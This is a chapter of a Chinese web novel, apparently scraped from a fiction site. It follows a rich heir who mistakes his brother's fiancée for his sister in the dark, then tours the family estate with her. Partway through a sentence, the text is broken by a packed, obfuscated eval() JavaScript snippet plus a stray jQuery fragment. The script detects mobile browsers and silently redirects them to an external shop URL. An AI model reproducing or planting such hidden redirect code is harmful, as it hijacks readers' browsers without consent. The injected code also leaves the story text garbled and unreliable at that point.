文趣网 > 其他小说 > 禁忌线 > 4. Chapter4
    纪寻从父亲房间出来时已经是深夜了。

    天空暗云低垂,原野深处飘来腥绿色的海风。

    他回到自己的卧室,衣服一件不脱,睁眼注视着黑暗中的天花板。

    今晚父亲说的都是从前的事,小时候他那些淘气的行为,青春期惹是生非送去国外读书的那几年,以及他的母亲。

    纪寻的亲生母亲没有名分,前些年上位失败后,已经在国外组建了新的家庭,对这个儿子的关系说不上亲近,她是纪先生最喜欢的女人,爱屋及乌,纪先生一直很宠爱纪寻,即便在他初中时惹下大祸——纪寻当时殴打了国际学校的同学,那名同学是纪家世交的孩子,被打得半死不活,为了平息事态,纪先生把他送去了国外读书,但即便性质如此恶劣,没过三年风波一平还是派人把他接了回来。

    纪寻一直盯着天花板看,房间里流光溢彩,墙壁上贴满了名贵丝绸,雨声像旋风刮进来,他感到冷,感到莫名的失落。

    在窗外,低迷浓郁的蓝色大海上传来海鸟的声音,那是海鸟在礁石上筑巢,叫的真难听,想把它们都击毙,他歪歪头,看着迷幻的大海,浪花一动一动的,变成很多小卷卷,连鸟都是有家的,他又想起了幼年母亲离去的那一天,大夫人把他拉在怀里,母亲笔直向前走,一步没回头。

    纪寻终于无法忍受,他下意识摸向身侧,但那里空荡荡的。

    “梁婉。”

    他想起来她不在自己的身边,眼神黑压压的,立刻翻身起来去找她。

    梁婉的房间在长廊的尽头,挨着蓊蓊郁郁的棕榈树,里面没开灯,他摸黑到了床上,跪下来去掀她的裙子。

    身下的女人叫了声。

    纪寻一时有些错愕,原来不是梁婉。

    他掐住她的手腕:“是谁?”

    不是梁婉,但怎么跟她身形长得这么像,甚至身上的衣服颜色款式都如出一辙。

    “是我,你先放开我。”是宁芙的声音。

    纪临开了灯,他的眼睛有点像猫头鹰,眼尾落下浓密的阴影,黑洞洞的十分邪性,他从床上爬起来,撑起身,质问她怎么在梁婉的房间。

    宁芙不解皱起眉:“这是管家安排给我的房间,你怎么在这里?”

    纪寻说这就是梁婉的房间,他跟宁芙核对了一番,她是第一次留宿,半山别墅建筑群宏大复杂,今晚又停了电。

    “是我走错房间了。”得知闹出乌龙后,宁芙脸上红白相间,十分尴尬。

    纪寻还在追问:“这是你的衣服?”为什么跟梁婉的一样。

    “是呀。”

    “你在哪里买的?”

    “香榭丽舍大街,是品牌当季的新款。”宁芙解释说,她把腿微微并拢,月光下湿润的嘴唇轻轻抖动,眼睛深处有亮光在闪。

    “是吗?你也有这个。”

    纪寻掀着裙摆来回翻了翻,阴恻恻沉下眼珠,今晚太巧了,刚好停了电,她又刚好走错房间躺在这里。

    宁芙有点疑惑地看向纪寻,似乎是不明白他为什么这样问。

    纪寻依然盯着她,朦胧如纱的黑暗中看着她的眼睛,感到莫名很熟悉,有一种想要抚摸的冲动。

    他不觉有点分离失神。

    “纪寻,有一件事我要请求你。”

    纪寻很少被这样正式地呼唤名字,这样美丽的女人求他,还是他未来的嫂子,他歪歪头,支楞起耳朵:“什么事?”

    宁芙面露难色,神情羞赧:“今晚走错房间的事你不要跟你大哥说,我不想让他误会。”

    纪寻点头,她说的对,是不应该有误会。

    他望着身下雪白揉皱的床单,女人的头发从肩头柔软滑过,铺开大片鱼尾的光泽,她的脖子也好看。

    也许今晚的月光太过迷惑,他竟然有些看入迷了,回到自己房间里倒床上一直想宁芙的眼睛,甚至忘了去质问梁婉今晚到底去了哪里。

    _

    第二天纪寻已经跟宁芙十分熟络,早餐时他一直让佣人给她布菜,餐后又带着她在半山闲逛。

    “大嫂对这里太生了,容易走错路,我带她去逛逛。”

    纪寻事先恭敬地请示哥哥,纪临眼皮微微一抬,应允了。

    掌权人的身旁随身有六七个助理,他饮着粥,听他们汇报文件,集团由他一人掌管,加上最近大婚,事务繁多。

    纪临沉默擦拭嘴角,看向餐桌空荡荡的位置,梁婉早上并没有下来,她从小身体不好,是个病的,早餐偶尔缺席,纪家人都习以为常。

    “白面包,罗勒宽面,松露香草,松茸鸡汤免放胡椒洋葱,这几个菜重新做一份送上小姐卧室。”他对佣人吩咐道。

    雨后长风骀荡,纪寻领着宁芙一起穿过花园,花园里生气勃勃,花床里开满了名贵秀丽的欧洲月季,花卷得密密层层,磅礴乳白。

    宁芙在盛大的月季花丛前欣赏,纪寻则注意到了角落里的白色山茶花,茶花落了一地,这是一种特殊的花,开得最灿烂的时候整朵整朵坠落,干净刚烈。

    宁芙也注意到了,走过来在枝头闻了闻,山茶花碰到了她的下巴。

    “我最喜欢山茶了。”

    “是吗?”纪寻看得有些晃眼,梁婉也最喜欢山茶花。

    他们说话时背后的白色山茶花一朵一朵往下掉,像断掉的雪白头颅。

    赏完花纪寻带宁芙来到后山,山林里开满艳丽的蘑菇,菌丝到处黏腻地生长。

    庄园里养了很多灵缇,缠绕着两人的双腿,绊得他们寸步难行,纪寻跟它们玩了一会儿,在草地上滚了几个来回,浑身沾满草叶和狗毛。

    宁芙看着他在地上撒欢,笑得很开心。

    “我还真没见过你这样的人。”

    “我是什么人?不务正业吗?”纪寻胸口被露水打湿,皎白胸肌若隐若现,抱着狗脑袋问她。

    “你太爱玩了。”

    “是吗?我是挺爱玩的,反正我将来是打算领着信托基

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788768|210283||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    金过日子的,不玩做什么。”

    纪寻跟着狗狗队伍在海边疯跑了一阵,顺带给宁芙介绍这片海湾,宁芙望着壮丽辽阔的海岸线感慨,她很清楚它的估值,十几年前这片区域价值已经突破百亿港币,而且有市无价。

    环山海湾寸土寸金,仅有的宅邸早已被顶壕圈层垄断,即便新业主侥幸买到了置业也要经过由其他业主组成的业主委员会的审批,所以过去几十年几乎没有成交记录。

    纪家的这座煊赫豪宅是世袭祖产,作为港岛最古老的世家,纪家的资本体量一直是神秘的,像一条深水巨鳄,早在开埠之初,纪家就出过几位首富,政法界更是门徒无数。

    “这里真漂亮。”宁芙不禁夸赞道。

    “对啊,你跟我哥哥结婚了,这里不就是你的了吗?”纪寻枕在草地上,懒洋洋对着未来的女主人说道。

    但是宁芙的笑容却有点微妙。

    纪寻说这里平常都没怎么有人来,非常宁静,之前梁婉倒是喜欢来画画,她最喜欢这片海了,小时候他不允许佣人们跟她说话,梁婉很孤单,只能偷偷来后山找小动物玩,跟它们说话。

    森林里的小野猫对她很友好,她拿来东西喂它们,猫拱她的手,她很开心。

    “好呀好呀,都给你。”

    但纪寻很快就发现了,他把梁婉手里的猫粮夺过来,塞自己嘴里,弄得她泪汪汪的,然后又凑过去哄她,给她兜里装满糖果。在风晴的时候,他把她的画板搬来,微风吹过她的面颊,海水那么蓝,海浪翻涌浮起,像绮丽的布匹。

    他守在一旁看她画画,拿着鱼竿钓海里的小鱼,那群小猫就围坐一边老实等着。

    那时他们真要好,比现在好多了。

    现在她总是害怕他,躲着他。

    宁芙的话碰巧戳中了纪寻的心事:“你跟你妹妹关系很好。”

    纪寻挑起眉,雪白俊脸照在太阳底下,像一朵艳丽妖花:“当然,我们非常好。”

    “你妹妹是学美术的?”

    “是,她总是喜欢一些没有用的东西。”

    “她画画好看吗?”

    “比我好看。”

    “你也画画?”

    “我画的比毕加索好多了。”

    宁芙忍住表情,努力地没有笑出来:“这样啊,那你最喜欢谁的画?”

    纪寻被这个问题难倒了,他总共也不认识几个画家,最后关头想起叶子文送的那副画,瞬间记起了名字:“达利吧,萨尔瓦托·达利知道吗?他画的还不错,跟我有一战之力。”

    没想到宁芙竟然很惊喜:“我也喜欢达利的画。”

    “是吗?”纪寻表情有点细微古怪,怎么梁婉喜欢的这位嫂子都喜欢呢。

    但他没多想,从草地上跳起来:“过来,那边是马场,我带你去看赛马。”

    他十分贴心:“骑马你会不会啊,不会就在一边看我骑好了。”

    “也别白看着,记得给我加油。”